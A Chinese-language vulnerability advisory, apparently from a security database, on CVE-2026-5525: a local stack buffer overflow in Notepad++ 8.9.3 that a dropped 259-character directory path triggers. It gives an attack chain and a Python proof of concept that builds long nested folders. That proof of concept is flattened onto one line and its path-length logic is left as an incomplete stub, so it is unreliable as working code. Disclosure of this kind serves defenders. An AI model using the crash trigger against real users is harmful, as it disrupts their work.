IPBUF安全漏洞报告
English
CVE-2026-5525 CVSS 6.0 中危

CVE-2026-5525 Notepad++栈缓冲区溢出漏洞

披露日期: 2026-04-10
来源: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

漏洞信息

漏洞编号
CVE-2026-5525
漏洞类型
栈缓冲区溢出
CVSS评分
6.0 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Notepad++

相关标签

栈缓冲区溢出Notepad++本地拒绝服务CVE-2026-5525

漏洞概述

Notepad++ 8.9.3版本中存在栈缓冲区溢出漏洞。该漏洞位于文件拖放处理组件,当用户拖入长度恰好为259字符且不含尾部反斜杠的目录路径时,程序在追加反斜杠和终止符时未进行边界检查,导致数据写入越界,引发STATUS_STACK_BUFFER_OVERRUN异常并使应用程序崩溃。

技术细节

该漏洞源于 Notepad++ 在处理文件拖放操作时的逻辑缺陷。当用户将一个长度恰好为259个字符且不包含尾部反斜杠的目录路径拖入应用程序窗口时,程序内部的处理逻辑会自动尝试在该路径末尾追加一个反斜杠以及一个空终止符。由于代码未对追加后的总长度(259 + 2 = 261字节)进行严格的边界检查,而目标栈缓冲区分配空间不足以容纳该数据,导致写入操作严重越界。这种越界写操作覆盖了栈上的返回地址或其他关键数据,触发了 STATUS_STACK_BUFFER_OVERRUN 异常,最终导致应用程序拒绝服务。攻击者利用此漏洞需要本地访问权限并诱导用户进行特定的交互操作。

攻击链分析

STEP 1
准备恶意路径
攻击者创建一个长度恰好为259个字符且不含尾部反斜杠的目录路径。
STEP 2
诱导操作
诱导受害者在本地打开Notepad++ 8.9.3应用程序。
STEP 3
触发漏洞
诱导受害者将生成的恶意目录路径拖拽到Notepad++窗口中。
STEP 4
溢出执行
Notepad++在处理路径时追加字符导致栈缓冲区溢出,引发应用程序崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os # Generate a path of length 259 chars (MAX_PATH - 1 typically) # This triggers the overflow when the app appends '\\' and '\0' base_path = "C:\\" + ("A" * 200) def create_long_path(): # Construct a directory path exactly 259 characters long # Adjust the length based on the drive letter and root # Example: C:\ + 25 chars + "\" + rest # We need the final path string length to be 259. # Create a nested directory structure depth = 10 segment_len = 20 current = "C:\\poc_exploit" if not os.path.exists(current): os.makedirs(current) # Build path until we reach a length close to 259 while len(current) < 240: folder_name = "A" * segment_len current = os.path.join(current, folder_name) if not os.path.exists(current): try: os.makedirs(current) except OSError: break # Adjust to exactly 259 characters without trailing backslash if len(current) > 259: # Truncate or adjust logic (simplified for PoC concept) pass elif len(current) < 259: diff = 259 - len(current) current = current + ("B" * diff) # Rename last folder to match length parent = os.path.dirname(current) last_folder = os.path.basename(current) old_path = os.path.join(parent, "A" * segment_len) # simplified # This is a simulation script, actual filesystem limits apply. print(f"Generated Path Length: {len(current)}") print(f"Path: {current}") print("Drag and drop this folder into Notepad++ 8.9.3 to trigger the crash.") if __name__ == "__main__": create_long_path()

影响范围

Notepad++ 8.9.3

防御指南

临时缓解措施
临时缓解措施建议用户谨慎处理拖拽操作,不要轻易将来源不明或长度异常的目录路径拖入 Notepad++ 编辑器中,直到官方发布补丁或更新软件版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表